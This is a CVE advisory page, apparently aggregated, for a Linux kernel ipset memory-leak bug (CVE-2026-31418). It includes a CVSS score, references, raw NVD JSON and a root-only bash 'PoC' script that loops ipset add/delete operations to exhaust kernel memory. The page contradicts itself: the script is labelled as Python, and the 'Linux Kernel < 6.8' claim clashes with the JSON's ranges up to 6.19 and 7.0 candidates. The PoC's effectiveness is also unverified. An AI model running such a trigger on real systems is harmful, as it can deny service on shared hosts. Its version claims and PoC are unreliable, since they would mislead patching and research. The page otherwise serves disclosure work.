CVE-2026-31418

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: drop logically empty buckets in mtype_del mtype_del() counts empty slots below n->pos in k, but it only drops the bucket when both n->pos and k are zero. This misses buckets whose live entries have all been removed while n->pos still points past deleted slots. Treat a bucket as empty when all positions below n->pos are unused and release it directly instead of shrinking it further.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.8 (Specific versions affected, refer to git commits)

Linux Kernel stable branches before specific patch dates

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-31418: Trigger memory leak in ipset
# This script simulates the condition where buckets are not freed.

SET_NAME="poc_test_set"

# Check if running as root (required for ipset)
if [ "$EUID" -ne 0 ]; then
  echo "Please run as root"
  exit
fi

# Load required modules
modprobe ip_set
modprobe ip_set_hash_ip

# Create a hash:ip set
ipset create $SET_NAME hash:ip

echo "Starting PoC loop..."

# Loop to create and delete entries to trigger the bug
# Repeatedly adding and deleting entries can cause the bucket pointer (n->pos)
# to remain non-zero even when empty, preventing release.
for i in {1..10000}; do
    # Add entries
    for j in {1..100}; do
        ipset add $SET_NAME 192.168.1.$j 2>/dev/null
    done

    # Delete entries to trigger the cleanup logic
    for j in {1..100}; do
        ipset del $SET_NAME 192.168.1.$j 2>/dev/null
    done

    if [ $((i % 100)) -eq 0 ]; then
        echo "Iteration $i completed. Check slabtop for memory increase."
    fi
done

echo "PoC execution finished."
# Cleanup
ipset destroy $SET_NAME

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31418
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31418
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31418/
[4] VulDB https://vuldb.com/cve/CVE-2026-31418
[5] https://git.kernel.org/stable/c/58f3a14826d4e6b0d5421f1a64be280b48601ea2
[6] https://git.kernel.org/stable/c/68ca0eea0af02bed36c5e2c13e9fa1647c31a7d4
[7] https://git.kernel.org/stable/c/6cea34d7ec6829b62f521a37a287f670144a2233
[8] https://git.kernel.org/stable/c/9862ef9ab0a116c6dca98842aab7de13a252ae02
[9] https://git.kernel.org/stable/c/ad92ee87462f9a3061361d392e9dbfe2e5c1c9fb
[10] https://git.kernel.org/stable/c/b7eef00f08b92b0b9efe8ae0df6d0005e6199323
[11] https://git.kernel.org/stable/c/c098ff857e7ca923539164af5b3c2fe3e8f8afaf
[12] https://git.kernel.org/stable/c/ceacaa76f221a6577aba945bb8873c2e640aeba4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31418", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:11.267", "lastModified": "2026-05-20T19:32:14.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ipset: drop logically empty buckets in mtype_del\n\nmtype_del() counts empty slots below n->pos in k, but it only drops the\nbucket when both n->pos and k are zero. This misses buckets whose live\nentries have all been removed while n->pos still points past deleted slots.\n\nTreat a bucket as empty when all positions below n->pos are unused and\nrelease it directly instead of shrinking it further."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.24", "versionEndExcluding": "5.5", "matchCriteriaId": "BB4BEAA2-F466-4E3C-8EA8-F01B409EE01F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5.8", "versionEndExcluding": "5.6", "matchCriteriaId": "E3C9E794-4183-4A8B-8E8E-FBBD9B334429"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.6.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "4F8ED570-37E2-4ED4-AF42-BCE310D198D4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.6:-:*:*:*:*:*:*", "matchCriteriaId": "A92F7A0E-C302-4FEA-9EF3-1A3D5CF3AD54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.6:rc4:*:*:*:*:*:*", "matchCriteriaId": "DC0C894E-6323-44E5-89DD-8FB6A5C41CAF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.6:rc5:*:*:*:*:*:*", "matchCriteriaId": "4C76EAC9-C2E6-4B6F-B002-ADBE74DDD794"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.6:rc6:*:*:*:*:*:*", "matchCriteriaId": "F13B8FBF-E007-4F60-A290-2833B45F8520"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.6:rc7:*:*:*:*:*:*", "matchCriteriaId": "CD0276C4-2C60-4C52-AC89-F96DF991B858"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/58f3a14826d4e6b0d5421f1a64be280b48601ea2", ... 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